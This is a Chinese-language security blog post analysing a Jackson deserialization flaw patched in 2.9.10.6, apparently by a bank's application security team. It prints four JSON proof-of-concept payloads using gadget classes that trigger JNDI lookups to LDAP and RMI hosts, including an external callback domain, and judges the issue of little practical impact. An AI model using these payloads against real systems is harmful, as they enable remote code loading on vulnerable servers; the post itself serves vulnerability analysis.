引言
今天又看到有一些安全预警平台爆出的 Jackson 反序列漏洞,要求把 Jackson 升级到 2.9.10.6,所以在下面对漏洞原理和适用范围做一下分析,并给出 poc。
补丁分析
补丁特别简单,也如同漏洞公告一样,增加了几处黑名单。
POC 构造
br.com.anteros.dbcp.AnterosDBCPDataSource
先看一下该 jar 包的 maven 引用次数,
再构造 poc(原理简单,不做细节描述),
["br.com.anteros.dbcp.AnterosDBCPDataSource", {"metricRegistry":"ldap://ytcrpi.ceye.io:1399/test"}]
com.pastdev.httpcomponents.configuration.JndiConfiguration
先看一下该 jar 包的 maven 引用次数,
再构造 poc(原理简单,不做细节描述),
["com.pastdev.httpcomponents.configuration.JndiConfiguration", "ldap://gggg.ytcrpi.ceye.io:1399/test"]
com.nqadmin.rowset.JdbcRowSetImpl
先看一下该 jar 包的 maven 引用次数,
再构造 poc(原理简单,不做细节描述),
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl
先看一下该 jar 包的 maven 引用次数,
再构造 poc(原理简单,不做细节描述),
["org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]
注意:这一条 poc 实际上是不可用的,其原因在于该类中因为存在重名函数导致的 jackson 在反序列化的时候会报同名函数冲突。这是一个原理层面可用,实际不可用的 poc。
总结
1. 利用成功需要开启 enableDefaultTyping。(Jackson 早已经默认关闭)
2. Gadget 的 jar 极其罕见。
结论:基本没什么用,不必大惊小怪,不放心请用 poc 自行去测试。
作者:平安银行应用安全团队 @Glassy
来源:freebuf.com 2020-08-27 17:08:50 by: 平安银行应用安全团队
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册